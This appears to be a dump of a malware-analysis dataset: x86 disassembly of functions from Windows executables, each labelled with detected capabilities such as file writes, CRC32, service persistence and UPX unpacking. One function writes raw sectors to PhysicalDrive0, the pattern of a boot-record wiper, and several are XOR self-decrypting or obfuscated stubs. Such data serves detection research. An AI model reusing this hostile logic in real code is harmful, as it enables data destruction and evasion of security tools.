joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403353
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
mov dword [esp + 8], 0x200
mov dword [esp + 4], 0
lea eax, [ebp - 0x20c]
mov dword [esp], eax
call sym._memset
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 3
mov dword [esp + 4], 0x40000000
mov dword [esp], str..PhysicalDrive0
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
call eax
sub esp, 0x1c
mov dword [ebp - 0xc], eax
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x210]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x200
mov dword [esp + 4], 0x4070a0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteFile]
call eax
sub esp, 0x14
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x210]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x200
lea eax, [ebp - 0x20c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteFile]
call eax
sub esp, 0x14
jmp 0x4033f0
Function at 0x404a30
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x24
lea eax, [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov dword [esp], 2
call sym.___acrt_iob_func
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x1b
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov ebx, dword [ebp - 0xc]
mov dword [esp], 2
call sym.___acrt_iob_func
mov dword [esp + 8], ebx
mov edx, dword [ebp + 8]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._vfprintf
call sym._abort

Function at 0x405604
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx eax, word [eax]
cmp ax, 0x5a4d
je 0x405623
mov eax, 0
jmp 0x405667
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 4]
add eax, edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
cmp eax, 0x4550
je 0x405646
mov eax, 0
jmp 0x405667
mov eax, dword [ebp - 8]
add eax, 0x18
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
cmp ax, 0x10b
je 0x405662
mov eax, 0
jmp 0x405667
mov eax, 1
leave
ret

Function at 0x405669
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp + 8]
add eax, edx
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0
mov eax, dword [ebp - 0xc]
movzx eax, word [eax + 0x14]
movzx edx, ax
mov eax, dword [ebp - 0xc]
add eax, edx
add eax, 0x18
mov dword [ebp - 4], eax
jmp 0x4056c8
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
cmp dword [ebp + 0xc], eax
jb 0x4056c0
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0xc]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 8]
add eax, edx
cmp dword [ebp + 0xc], eax
jae 0x4056c0
mov eax, dword [ebp - 4]
jmp 0x4056dc
add dword [ebp - 8], 1
add dword [ebp - 4], 0x28
mov eax, dword [ebp - 0xc]
movzx eax, word [eax + 6]
movzx eax, ax
cmp dword [ebp - 8], eax
jb 0x40569d
mov eax, 0
leave
ret
Function at 0x408898
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x42b7a4], 0
push ebp
mov ebp, esp
push esi
push ebx
mov edx, dword [ebp + 0xc]
je 0x4088b5
mov eax, dword [ebp + 8]
mov ebx, dword [ebp + 0x10]
not eax
add ebx, edx
jmp 0x4088e3
xor ecx, ecx
mov eax, ecx
mov ebx, 8
mov esi, eax
and eax, 1
neg eax
shr esi, 1
and eax, 0xedb88320
xor eax, esi
dec ebx
jne 0x4088be
mov dword [ecx*4 + 0x42b7a0], eax
inc ecx
cmp ecx, 0x100
jne 0x4088b7
jmp 0x4088a9
cmp edx, ebx
je 0x4088fc
inc edx
mov cl, al
shr eax, 8
xor cl, byte [edx - 1]
movzx ecx, cl
xor eax, dword [ecx*4 + 0x42b7a0]
jmp 0x4088e3
pop ebx
not eax
pop esi
pop ebp
ret 0xc

Function at 0xde11a0
Capabilities:
Encode data using xor

Disassembly:
jmp 0xde11aa
pushal
call 0xde11b0
pop ebp
sub ebp, 0x10
sub ebp, 0x9e11a0
mov al, byte [esp + 0x28]
cmp al, 1
je 0xde11d4
in eax, dx
mov al, byte [0x8a009e11]
test byte [eax + ebp], ah
add byte [eax], al
add byte [eax - 0x7bf0fe08], al
pop es
add byte [eax], al
add byte [ecx + 0x33], ah
rol byte [eax - 0x3e], 0xc
add cl, ch
add al, 0
add byte [eax], al
popal
scasd eax, dword es:[edi]
mov ecx, 0x11a0b8b5
sahf
add byte [ebx], al
lds eax, [ecx + 0x63c0]
add byte [ecx + 0x5e2], bh
popal
xor eax, eax
inc eax
ret 0xc
jmp 0xde11dd
mov eax, 0x9e11a0
add eax, ebp
add eax, 0x63
mov ecx, 0x5e2
mov edx, 0x243bf497
xor byte [eax], dl
inc eax
dec ecx
jne 0xde11f4
jmp 0xde1207
sbb al, 0x5a
sbb al, 0x1e
stosd dword es:[edi], eax
xchg edi, eax
xchg edi, eax
xchg edi, eax
push ss
push esi
outsd dx, dword [esi]
xchg edi, eax
xchg edi, eax
xchg edi, eax
xchg esp, eax
pop edx
das
sahf
xchg edi, eax
xchg edi, eax
xchg edi, eax
sub eax, 0x979797bf
pushal
jne 0xde11b8
pop edi
sbb al, 0x16
wait
xchg edi, eax
xchg edi, eax
xchg edi, eax
xchg esp, eax
push edx
invalid

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x1004348
Capabilities:
Get file size
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp dword [ebp + 0xc], ebx
mov dword [ebp - 4], ebx
je 0x1004409
cmp dword [ebp + 0x10], ebx
je 0x1004409
push ebx
push ebx
push 3
push ebx
push 3
push 0x80000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
jne 0x100438d
mov dword [ebp - 4], 0x80040116
jmp 0x10043fd
push esi
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10043a6
mov dword [ebp - 4], 0x80040116
jmp 0x10043f5
push edi
push esi
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, eax
cmp edi, ebx
jne 0x10043bf
mov dword [ebp - 4], 0x8007000e
jmp 0x10043f4
push ebx
lea eax, [ebp - 8]
push eax
push esi
push edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x10043dc
mov dword [ebp - 4], 0x80040116
jmp 0x10043f4
cmp esi, dword [ebp - 8]
je 0x10043ea
mov dword [ebp - 4], 0x80004005
jmp 0x10043f4
mov eax, dword [ebp + 0xc]
mov dword [eax], edi
mov eax, dword [ebp + 0x10]
mov dword [eax], esi
pop edi
mov eax, dword [ebp + 8]
cmp eax, ebx
pop esi
je 0x1004404
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
jmp 0x100440e
mov eax, 0x80070057
pop ebx
leave
ret 0xc

Function at 0x100dc2e
Capabilities:
Resolve function by parsing pe exports

Disassembly:
pop eax
imul eax, eax, 0xf
push eax
movzx eax, byte [edi]
lea edi, [edi + 1]
jmp 0x100da6d
lea edi, [eax + ebx]
je 0x1012782
push 0
jmp 0x100da10
sub dword [esp], eax
cmp byte [edi], 1
pop eax
ja 0x100da11
xor eax, 0xc94b4f1e
jmp 0x100db3f
sbb eax, dword [esp + 4]
jne 0x100dbd1
lea edi, [ebx]
lea esi, [ebx]
add edi, dword [edx + 0x1c]
jmp 0x100dc35
movzx eax, word [esi]
pop esi
add esi, dword [edi + eax*4]
ret 4
add esi, dword [edx + 0x20]
pop ecx
inc ecx
lodsd eax, dword [esi]
cmp ecx, dword [edx + 0x18]
jmp 0x100da34
mov edx, ebx
jmp 0x100dc55
add esi, dword [edx + 0x24]
lea esi, [esi + ecx*2]
push ebx
jmp 0x100db98
mov esi, ebx
mov eax, ebx
add eax, dword [ebx + 0x3c]
add edx, dword [eax + 0x78]
push 0xffffffffffffffff
jmp 0x100dbcd
ret
Function at 0x401090
Capabilities:
Get process heap flags
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xc
mov dword [esp], 1
call sym.__configure_narrow_argv
call sym.__initialize_narrow_environment
call sym.___p___argc
mov esi, dword [eax]
call sym.___p___argv
mov edi, dword [eax]
call sym.__get_initial_narrow_environment
mov ebx, eax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 8]
mov edx, dword [eax + 0x3c]
cmp word [eax + edx + 0x5c], 2
sete al
movzx eax, al
inc eax
mov dword [esp], eax
call sym.__set_app_type
mov dword [esp + 8], ebx
mov dword [esp + 4], edi
mov dword [esp], esi
call sym._main
mov dword [esp], eax
call sym._exit
nop
nop
nop
nop
nop

Function at 0x401100
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x58
call sym.___main
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov ebx, eax
movzx eax, byte [eax]
test al, al
je 0x40117d
cmp al, 9
je 0x401170
cmp al, 0x20
je 0x401170
mov dword [ebp - 0x54], 0
xor edi, edi
nop
cmp al, 0x5c
je 0x4011d0
cmp al, 0x22
je 0x4011e0
mov dword [ebp - 0x54], 0
movzx eax, byte [ebx + 1]
inc ebx
test al, al
je 0x40117d
cmp al, 9
sete cl
cmp al, 0x20
mov esi, ecx
sete cl
mov edx, esi
or dl, cl
je 0x401130
test edi, 1
jne 0x401130
lea esi, [esi]
movzx eax, byte [ebx + 1]
inc ebx
cmp al, 9
je 0x401170
cmp al, 0x20
je 0x401170
lea eax, [ebp - 0x50]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_GetStartupInfoA]
sub esp, 4
test byte [ebp - 0x24], 1
jne 0x401198
mov word [ebp - 0x20], 1
movzx esi, word [ebp - 0x20]
mov dword [esp], 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
sub esp, 4
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._WinMain_16
sub esp, 0x10
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
inc dword [ebp - 0x54]
jmp 0x401147
and dword [ebp - 0x54], 1
jne 0x401140
xor edi, 1
jmp 0x401147
Function at 0x10002c08
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1000e0cc]
jne 0x10002c12
repz ret
jmp fcn.10004fac
Function at 0x4063c3
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push esi
mov esi, 0x104
lea eax, [ebp - 0x120]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp eax, esi
pop esi
jbe 0x4063e7
xor eax, eax
test eax, eax
je 0x4063f9
cmp byte [ebp + eax - 0x121], 0x5c
je 0x4063f9
xor ecx, ecx
jmp 0x4063fc
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx + 0x40a014]
lea eax, [ebp + eax - 0x120]
push ecx
push str._s_s.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x120]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
leave
ret 4

Function at 0x4064e8
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x4232c4], 0
push esi
jne 0x40651f
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4064f9
mov dword [ecx*4 + 0x4232c0], eax
inc ecx
cmp ecx, 0x100
jl 0x4064f4
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406550
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x4232c0]
xor eax, esi
inc ecx
dec edx
jne 0x406532
pop edi
not eax
pop esi
ret 0xc

Function at 0x100bf6d9
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push dword [edi]
pop dword [esp]
cmp esp, esi
pushfd
stc
mov byte [esp], 0x4c
cmp edi, ebx
jmp 0x1009a913
mov ecx, edi
dec si
sub ecx, ebx
mov si, bx
not si
bt dx, dx
mov esi, esp
pushfd
mov dword [esp], edi
bt bp, 0xe
cmc
sub edi, 4
test cl, 0x3c
jmp 0x1009b046
lea esp, [esp + 0x38]
jne 0x1009b100
neg esi
jmp 0x100bf3ef

Function at 0x100dcbe3
Capabilities:
Encrypt data using rc4 prga

Disassembly:
lea esp, [esp + 0x18]
jne 0x1009b100
and si, 0xda21
cmp dl, bh
ror ch, 5
rcl ecx, cl
mov ecx, edi
pushal
push dword [esp + 4]
movzx si, bl
bswap esi
sub ecx, ebx
not si
or si, 0x8f2c
pushal
lea esi, [esp + 0x44]
bt bx, 0xc
test dl, dh
sub edi, 4
mov byte [esp + 8], bl
lea esp, [esp + 0x44]
jmp 0x1009aaf6
jmp 0x100971d3
Function at 0x406580
Capabilities:
Create service
Modify service
Pause service
Persist via windows service
Query service status
Start service
Stop service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4275a5
mov eax, dword fs:[0]
push eax
sub esp, 0x68
mov eax, dword [0x441018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea ecx, [ebp - 0x58]
call fcn.00405880
push eax
mov edx, 0x43450c
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x40]
call fcn.00407690
push str.LenovoVantageService.exe_
mov edx, eax
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x28]
call fcn.004075c0
mov ecx, dword [ebp - 0x2c]
add esp, 8
cmp ecx, 8
jb 0x406618
mov edx, dword [ebp - 0x40]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40660e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40677f
push ecx
push edx
call fcn.0040f504
add esp, 8
mov ecx, dword [ebp - 0x44]
xor eax, eax
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 7
mov word [ebp - 0x40], ax
cmp ecx, 8
jb 0x406666
mov edx, dword [ebp - 0x58]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40665c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40677f
push ecx
push edx
call fcn.0040f504
add esp, 8
push 1
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
test edi, edi
je 0x40672b
push 0xf01ff
push 0x4345f8
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, eax
test esi, esi
je 0x4066e2
lea eax, [ebp - 0x74]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x4066ae
cmp dword [ebp - 0x70], 4
je 0x406725
lea eax, [ebp - 0x74]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
push 0
cmovae eax, dword [ebp - 0x28]
push 0
push 0
push 0
push 0
push 0
push eax
push 0xffffffffffffffff
push 2
push 0xffffffffffffffff
push esi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
jmp 0x40671a
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
push 0
cmovae eax, dword [ebp - 0x28]
push 0
push 0
push 0
push 0
push eax
push 1
push 2
push 0x10
push 0xf01ff
push 0x4345f8
push 0x4345f8
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov esi, eax
test esi, esi
je 0x406728
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push esi
call ebx
push edi
call ebx
mov ecx, dword [ebp - 0x14]
cmp ecx, 8
jb 0x406761
mov edx, dword [ebp - 0x28]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x406757
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406784
push ecx
push edx
call fcn.0040f504
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040f4f6
mov esp, ebp
pop ebp
ret
call fcn.00414471
call fcn.00414471
int3
Function at 0x408970
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x427716
mov eax, dword fs:[0]
push eax
sub esp, 0x90
mov eax, dword [0x441018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
test esi, esi
je 0x408b87
cmp word [esi], 0
je 0x408b87
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x4089c8
mov eax, 4
jmp 0x408b8c
lea ecx, [ebp - 0x14]
call fcn.00408c60
lea ecx, [ebp - 0x84]
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x24], 0xaac56b
mov dword [ebp - 0x20], 0x11d0cd44
mov dword [ebp - 0x1c], 0xc000c28c
mov dword [ebp - 0x18], 0xee95c24f
call fcn.0040dce0
mov dword [ebp - 4], 0
call fcn.0040dce0
mov esi, dword [sym.imp.WINTRUST.dll_WinVerifyTrust]
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x24]
push eax
push 0xffffffffffffffff
call esi
mov edi, eax
mov dword [ebp - 0x40], 2
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x24]
push eax
push 0
call esi
cmp edi, 0x800b0100
je 0x408b6e
cmp edi, 0x800b010a
je 0x408a56
test edi, edi
je 0x408a56
push edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov edi, 2
jmp 0x408b73
lea eax, [ebp - 0x9c]
push eax
lea ecx, [ebp - 0x84]
call fcn.0040dab0
mov byte [ebp - 4], 1
mov edi, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x90], eax
cmp edi, eax
je 0x408aeb
or ebx, 0xffffffff
nop
mov eax, dword [edi + 4]
test eax, eax
je 0x408a8b
lock inc dword [eax + 4]
mov eax, dword [edi]
mov dword [ebp - 0x8c], eax
mov eax, dword [edi + 4]
mov dword [ebp - 0x88], eax
lea ecx, [ebp - 0x8c]
mov byte [ebp - 4], 2
call fcn.0040a760
test al, al
jne 0x408b36
mov byte [ebp - 4], 1
mov esi, dword [ebp - 0x88]
test esi, esi
je 0x408ae0
mov eax, ebx
lock xadd dword [esi + 4], eax
jne 0x408ae0
mov eax, dword [esi]
mov ecx, esi
call dword [eax]
mov eax, ebx
lock xadd dword [esi + 8], eax
jne 0x408ae0
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 4]
add edi, 8
cmp edi, dword [ebp - 0x90]
jne 0x408a80
mov edi, 1
mov ecx, dword [ebp - 0x9c]
test ecx, ecx
je 0x408b73
mov edx, dword [ebp - 0x98]
push ecx
call fcn.00408c10
mov ecx, dword [ebp - 0x94]
add esp, 4
mov edx, dword [ebp - 0x9c]
sub ecx, edx
and ecx, 0xfffffff8
mov eax, edx
cmp ecx, 0x1000
jb 0x408b62
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408ba8
jmp 0x408b62
mov esi, dword [ebp - 0x88]
xor edi, edi
test esi, esi
je 0x408af0
mov eax, ebx
lock xadd dword [esi + 4], eax
jne 0x408af0
mov eax, dword [esi]
mov ecx, esi
call dword [eax]
lock xadd dword [esi + 8], ebx
dec ebx
jne 0x408af0
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 4]
jmp 0x408af0
push ecx
push edx
call fcn.0040f504
add esp, 8
jmp 0x408b73
mov edi, 3
mov ecx, dword [ebp - 0x14]
test ecx, ecx
je 0x408b83
push 0
push ecx
call dword [sym.imp.CRYPT32.dll_CertCloseStore]
mov eax, edi
jmp 0x408b8c
mov eax, 5
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040f4f6
mov esp, ebp
pop ebp
ret
call fcn.00414471
int3
Function at 0x40e13c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 2
lea eax, [ebp - 4]
push eax
push 0x20000001
push str._x_sys_default_locale
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov esi, dword [ebp + 0xc]
neg eax
sbb eax, eax
xor ecx, ecx
and eax, dword [ebp - 4]
push ecx
push ecx
push esi
push eax
push dword [ebp + 8]
mov dword [ebp - 4], eax
push ecx
push 0x1300
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push eax
push dword [esi]
call fcn.0040e118
pop esi
leave
ret 8

Function at 0x40e8a0
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
push dword [ebp + 8]
push 0x105
call fcn.0040e339
mov edi, eax
test edi, edi
jne 0x40e8c7
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov eax, esi
jmp 0x40e910
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
or ebx, 0xffffffff
cmp eax, ebx
je 0x40e90b
test al, 0x10
je 0x40e90b
test eax, 0x400
je 0x40e907
push 0x2000000
push 0x80
push dword [ebp + 8]
lea eax, [ebp - 4]
push eax
call fcn.0040e916
push dword [ebp - 4]
mov esi, eax
call fcn.0040e375
test esi, esi
jne 0x40e90b
xor edx, edx
jmp 0x40e90d
mov edx, ebx
mov eax, edi
pop ebx
pop edi
pop esi
leave
ret 4

Function at 0x4103e5
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x410424
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x410424
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x410424
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x410424
cmp dword [ecx + 0x74], 0xe
jbe 0x410424
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x414611
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push esi
push edi
xor edi, edi
movzx eax, word [ecx + 0x14]
movzx esi, word [ecx + 6]
test esi, esi
lea eax, [eax + ecx + 0x18]
jbe 0x41464c
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x414633
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp dword [esp + 0xc], edx
jb 0x414644
add edx, ecx
cmp dword [esp + 0xc], edx
jb 0x41464e
inc edi
add eax, 0x28
cmp edi, esi
jb 0x414629
xor eax, eax
pop edi
pop esi
ret

Function at 0x426ad0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x426afd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x426afd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x47ec20
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x16000]
push edi
or ebp, 0xffffffff
jmp 0x47ec42
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x47ec49
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x47ec38
mov eax, 1
add ebx, ebx
jne 0x47ec5b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x47ec50
jne 0x47ec6c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x47ec50
xor ecx, ecx
sub eax, 3
jb 0x47ec80
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x47ecf2
mov ebp, eax
add ebx, ebx
jne 0x47ec8b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x47ec98
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x47ecbc
inc ecx
add ebx, ebx
jne 0x47eca8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x47ec9d
jne 0x47ecb9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x47ec9d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x47ecdc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x47eccd
jmp 0x47ec3e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x47ecdc
add edi, ecx
jmp 0x47ec3e
pop esi
lea edi, [esi + 0x7c000]
mov eax, dword [edi]
or eax, eax
je 0x47ed3b
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x7e000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x7e03c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x47ecf9
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x7e044]
or eax, eax
je 0x47ed35
mov dword [ebx], eax
add ebx, 4
jmp 0x47ed16
call dword [esi + 0x7e040]
mov ebp, dword [esi + 0x7e048]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1d7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x47ed6f
sub esp, 0xffffff80
jmp section.UPX0
Function at 0x18006c49
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, edx
mov ebx, ecx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x18006ca2
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x18006ca2
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edx, dword [ebp + 8]
lea ecx, [esi + eax]
and edx, 0xf
jbe 0x18006c91
cmp esi, ecx
jae 0x18006ca2
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub edx, 1
jne 0x18006c7f
cmp esi, ecx
jae 0x18006ca2
cmp word [esi], 0
je 0x18006ca2
lfence
mov eax, esi
jmp 0x18006ca4
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x18007d98
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x181d200c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
test esi, esi
jne 0x18007db3
mov al, 1
jmp 0x18007df6
push 0x34
lea eax, [ebp - 0x38]
push 0
push eax
call fcn.18132590
add esp, 0xc
lea eax, [ebp - 0x38]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
test eax, eax
jne 0x18007dee
